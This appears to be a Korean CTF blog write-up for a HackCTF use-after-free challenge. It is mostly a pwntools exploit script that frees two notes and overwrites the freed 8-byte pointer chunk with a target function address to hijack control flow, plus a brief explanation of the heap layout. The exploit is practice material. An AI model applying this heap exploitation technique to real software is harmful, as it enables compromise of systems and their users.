from pwn import *
#p = process('./uaf')
p = remote('ctf.j0n9hyun.xyz', 3021)
context.log_level="debug"
def add_note(size, content):
p.recv()
p.sendline('1')
p.recv()
p.sendline(size)
p.recv()
p.sendline(content)
def del_note(index):
p.recv()
p.sendline('2')
p.recv()
p.sendline(index)
def p_note(index):
p.recv()
p.sendline('3')
p.recv()
p.sendline(index)
magic = 0x08048986
add_note('100','')
add_note('100','')
del_note('0')
del_note('1')
add_note('8',p32(magic))
p_note('0')
p.interactive()
한번 add_note()를 할 때 2개의 힙이 할당된다.
1. 8바이트짜리 우리가 입력한 크기만큼 할당하는 힙주소를 저장하는 힙
2. 우리가 입력한 크기만큼 할당하는 힙 일케 2개가 할당된다.
따라서 이 8바이트짜리 힙을 uaf를 통해 수정할 수 있다.
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf] you are silver (0) | 2019.07.15 |
---|---|
[hackctf]ROP (0) | 2019.07.15 |
[hackctf]RTL-Core (0) | 2019.07.15 |
[hack-ctf]1996 (0) | 2019.07.15 |
[hack-ctf]poet (0) | 2019.07.15 |